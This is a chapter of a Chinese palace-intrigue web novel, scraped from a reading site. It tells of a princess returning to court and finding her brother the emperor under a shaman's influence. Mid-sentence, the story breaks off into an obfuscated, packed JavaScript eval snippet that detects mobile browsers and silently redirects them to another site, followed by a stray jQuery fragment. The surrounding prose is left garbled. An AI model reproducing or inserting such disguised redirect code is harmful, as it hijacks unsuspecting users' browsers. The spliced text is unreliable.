默认冷灰
24号文字
方正启体

1. 归来

作者:方见天本书字数:K更新时间:
    金辂行驶在官道,身后是浩浩荡荡的随行队伍。


    李祯坐在轿辇中闭目养神。自西越边境关口到此,已经过去半旬终于临近盛京。越是靠近,越是心神不宁。


    銮铃晃动的声音戛然而止。窗外传来声音,是驻守的侍卫。


    “此处不通行!来者何人。”


    “你们有几个脑袋,也敢说此等蠢话,还不放人!这里面坐着的可是长公主。”


    几名侍卫面面相觑,对这话似乎有些怀疑,看着这样规格的轿辇也确实尊贵但没有收到命令也不知真伪,倘若随意放人进去,他们也不好交代。


    其中一人犹豫片刻,抬手就要去掀起轿辇上的帘子。


    一只纤细的手掀开一角随后递出一张符令,确是长公主的令牌。


    只是长公主已外嫁西越多年怎会忽然出现在此处。


    那人还想往里面看,耳旁又传来一声呵斥。


    “放肆!你们想干什么?令牌在此还能有假么,速速放行。长公主可是尔等能看的。”


    这呵斥声也确实极为管用,那人赶紧把手放下,刚才那带着豪横的表情的脸此时只剩下讨好的笑意。


    “是是是,是小的冒犯了,这就放行。还请长公主恕罪。”


    车轿里的声音极为平淡听不出情绪,“罢了,都是小事。”


    厚重的宫门被几个侍卫拉开,马车上的銮铃再次响起来,向着宫内行驶。


    烈日的阳光灼眼,彼时是八月的盛夏。比起西越的寒凉,东昭显得更加四季分明。


    她掀开车帘,眼睛被刺激的有些不适,等缓过来的时候已经进了熟悉的宫门。上次还在宫中的时候,已经是八年前了。


    如此久远。


    朱红色的高耸宫墙,层叠的龙纹望柱分立两侧,筑基上祥云纹被日光镀上金边。重檐上,殿顶一字排开的鎏金走兽,每片琉璃瓦片都透着熔金般的光泽。


    如此华丽的宫闱却是吃人不吐骨头的地方,它像一个逃不出的牢笼将多少年轻的女子困在其中,直至一抔骸骨才得以逃出生天。


    这里面有的是人面兽心之人,他们大多人模狗样,满嘴圣贤,仿佛自己多么高贵。想起来也是可笑至极。


    望向窗外熟悉的景色,李祯的思绪也逐渐飞远,儿时母后温暖的怀抱,那个软弱昏庸的皇帝兄长,以及……


    以及那家伙的身影。


    也不知道这些年自己养的那条小狗怎么样了,不在的时候有没有好好生活。


    回来的事情,她已提前写信告知了兄长景帝,回信的内容让她有些意外,原本以为那样自私的人会斥责几句,她甚至想过可能顾及颜面驳回她的请求。


    意外的顺利,反而信中满是景帝对她的思念甚至有一丝对她回宫的喜悦。字里行间并不像是一位帝王,反而更像是兄长对妹妹的关切。


    顺带着也写了些让人惊诧的话,“这八年让你吃了不少苦”,“早知西越王如此刻薄就不让你嫁过去了”诸如此类了不胜数。


    有些可笑,当年就是作为和亲的工具被送过去,也是景帝答应的,如今仿佛那件事不是他安排的一样抛之脑后。


    他那样的烂名声,即便远在西越这些年她也没少听见关于他荒唐的传闻,不过她从来没问过。只是偶尔听见这样的传闻联想到那可怜的孩子。


    那道矮矮的,瘦小的都身影。想起初见的时候那狼狈的模样,以及涨红的脸,她看透他的窘迫却没有拆穿。


    人也都是有自尊心的,何况是一个从小没了母妃,明明贵为太子,却能被几个小太监任意摆弄,像是乞尾的狗一样踢来踢去。


    “长公主殿下,前面怕是要您亲自走了。”


    轿辇停下,护卫单膝跪地将脚踏放置一旁。


    李祯踩着缓缓走下来。她一身月白色的交领长衫,素雅却不失端庄。高挑的眼尾让人有一种不论看谁都桀骜的姿态。


    先去看看景帝,那位许久未见都兄长。


    离开的时候还是少女,如今心境和容貌都变了许多,每条路还是那么熟悉,即便过了八年。但走过那么多回,已经深深印刻在肌肉记忆之中,不刻意的想也知道怎么走。


    宫中还是有些变化的。


    路过的宫人并不认识她,也并未向她行礼,有些奇怪。


    李祯微微皱眉,即便变化再大也没有完全认不出来的地步,更像是宫中的人换了一批一样,这么看来刚刚路过的确实是生面孔。


    “殿下,这些人未免太笨了,竟都认不出您来,可这些不都是陛下宫中的人么,怎么会。”


    豆蔻亦步亦趋的跟在身侧,这是自幼侍奉在侧的侍女。相处的久了,更像是亲人。


    压下心中疑虑,李祯并未透露出其他神情只是淡淡道,“却也正常,过去了这么久了也不是一年半载。”


    豆蔻点点头。


    当值宫人到了年龄就要出宫去,兴许是换了人,豆蔻也没多想。


    绕过错综复杂的路,终于也快到了御书房。


    豆蔻留在门外,正准备叫人通传。一道熟悉的身影出现在面前,“殿下您瞧,那不是赵公公么!好久没见到他了还真是怀念,之前他经常在娘娘身边做事呢。这么多年过去了看起来变化真大。”


    豆蔻叽叽喳喳的说着,李祯顺着她的目光看过去。面前的男人也正看着她,眉目间透露着的情绪她察觉到了,那直勾勾的目不转睛的眼神,仅看她一瞬间便刻意的收回目光,恭敬的态度让人看不出什么来。只是她还是太了解赵遇,还真是会装的很。


    她回来了。


    赵遇眼中闪过一丝惊讶还有那不易察觉的欣喜,不过并未表露出来。他只觉得心似乎快要痉挛,血液也忍不住的沸腾起来,他不敢露出太明显的反应,一定会让她讨厌的。


    手中端着的托盘上放着瓷盅和一碗看不出是什么的汤汁。


    “见过长公主殿下,殿下怎的回来了?奴竟不知道。”


    李祯扫过托盘,目光终于落在他脸上,神色冷淡。意识到自己说错话,赶紧低下头。


    “本宫回来,还要告诉你一个狗奴才么。赵公公说话甚是有趣。”


    她轻笑靠近走到赵遇身侧在他耳旁小声道,“赵公公慎言啊,几年过去了怎么还是没学聪明。”


    两人间有一种微妙的气氛,像是熟悉但又刻意疏离。


    他也不是真傻,一点就透。听懂了李祯的弦外之音。


    “这是什么东西。”


    李祯问的自然是赵遇端着的那瓷盅和不知名的汤汁。


    “这是陛下的养身汤和丹药。”


    虽说景帝的身体柔弱,但并未要到喝汤药的地步。况且从前从来没见他喝过这种东西。


    “这是从哪弄来的。”


    赵遇摇摇头。


    “奴才也只是按照陛下吩咐从御膳房弄来的,具体是什么源头,又是何人奴真不知道。”


    此言不似有假,也并未有所保留。看他也不像是说谎,李祯也没有刨根问底的为难他。


    这下也不用通报了,李祯跟着他一同进了御书房。


    御书房内。


    景帝半靠在软榻上眯着眼,掌印太监正坐在原本的桌案前提笔处理着堆积如山的公务。


    掌印太监赵德年过五旬,是景帝身边的红人,也是赵遇的干爹。


    原先她还未出嫁的时候,虽说赵德忙前忙后,但从未帮景帝直接批改过公文。如今景帝倒是真是甩手何事也不管了。


    景帝两耳不闻窗外事的靠在那闭着眼,赵德手中执笔偶然沾上砚台里的朱砂在纸上圈画着。


    “奴才给皇上请安,这是今日的药膳。”


    赵遇半弯着腰走过去,将里面的瓷碗端出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164505|196641||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    来,那碗汤汁也被放在景帝身侧的案几上。


    景帝的长发垂落在肩头,将近不惑之年却依旧格外年轻,更像是二十有几的年岁。他身形单薄,比起旁的男子倒是有一番阴柔美,肤色白皙如玉,唇薄含珠。


    太过柔软,丝毫没有帝王之姿。第一眼便是这种感觉。


    景帝摆摆手,赵遇退至一旁。这才看见身后竟还有一人。


    原本恹恹的神情倏然消失般,景帝猛的坐起来,与先前判若两人。


    “明月见过陛下,陛下万安。”


    “与朕何须多礼,快过来叫朕好生看看你,朕的明月。你可知道皇兄多想你。”


    李祯与景帝乃是一母同胞,太后生前膝下就这一双儿女。明月又比景帝小的多,和景帝的长女差不多一般年岁。又是太后的老来女,自是疼爱的紧。连同这个兄长也对她格外宠爱。


    李祯原先在宫中可是横着走,嫡出的公主就她这一个。本就不一般,先帝更是封其为明月公主,其中含义不必言喻。


    掌中明月,似明珠般照耀。


    “明月也想念皇兄,只是这般回来,不知是否会给兄长添麻烦了。”


    她依言走过去,像儿时一般伏在景帝膝间。这样的姿态让他放下戒心,又不显得生疏。仿佛这八年来她从未离开过景帝身侧。


    “怎么会。明月,你回来就好。”


    “这些年你受了委屈,是皇兄看走眼,才叫你去那偏远寒凉的西越吃了那么多苦。”


    景帝拉着李祯的手摸了摸,她抬眸对上那双桃花眼,只见原本那双沉寂已久的双眼满是光亮。这样的欣喜又不像是假的。


    “如今回来,就安心住下。一切都有皇兄在,你莫要担心。你回来,朕在这宫中终于不再是孤身一人。”


    景帝摸着李祯的背拍了拍,他望向窗外眼中有些许落寞。


    “皇兄,这些……”


    李祯的目光看向案几上的瓷忠和汤汁。


    “这是朕让大巫特意熬制的补汤和长生丹。”


    景帝并未对其隐瞒。


    提起大巫,李祯又想起那段不太美好的回忆。


    不知何时起景帝变得格外迷信占卜与巫术。大概是从幽妃悬梁吊亖在寝宫起。


    幽妃是太子璋之母,西越王女。


    太子璋三岁时的某一日,年幼的太子璋满心欢喜的推开门便看见了悬于屋顶的幽妃。


    据说其状极为凄惨,吊亖的人大多都会失禁,且浑身紧绷僵直。在断气之前会下意识的挣扎,口吐痰液。一个年幼的孩子,又是看见亲生母亲这样的惨状怎么会不受打击。


    大巫曾经占卜断言,李璋乃是刑克父母之命。一开始景帝是不相信的,只是听听罢了。


    可幽妃的死,让他动摇了想法。也就是从这时候起他开始迷信大巫。连带着对李璋也格外厌恶。


    是他,克死了自己的母妃。对此,景帝深信不疑。


    视其为不祥子。


    可就是如此的可笑,景帝的子嗣凋零,宫中只其一个儿子。讽刺的是在幽妃离世被发现的第二天,李璋被送养至皇后宫中。


    封其为太子,是为太子璋。


    但这些无不过于荒诞,仅仅因为幽妃的死就将一个年幼的无辜的孩子扣上“不祥”的称号。


    分明李璋也是这件事的受害者之一,不仅年幼失去了母妃。又要被父皇厌弃。


    太过年幼的孩子离开母妃过的注定是不容易的。这个年纪是最需要母爱的关照的。如果皇后对他好的话,兴许也能有所慰藉。


    可皇后对他也格外厌恶,毕竟不是亲生的,况且当时的皇后还年轻,一直以为自己还会有自己的儿子。到那时再把他处理了便是,也不过是她儿子的踏脚石。


    “大巫,皇兄还是一如既往的如此信奉。”


    明月如是说。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)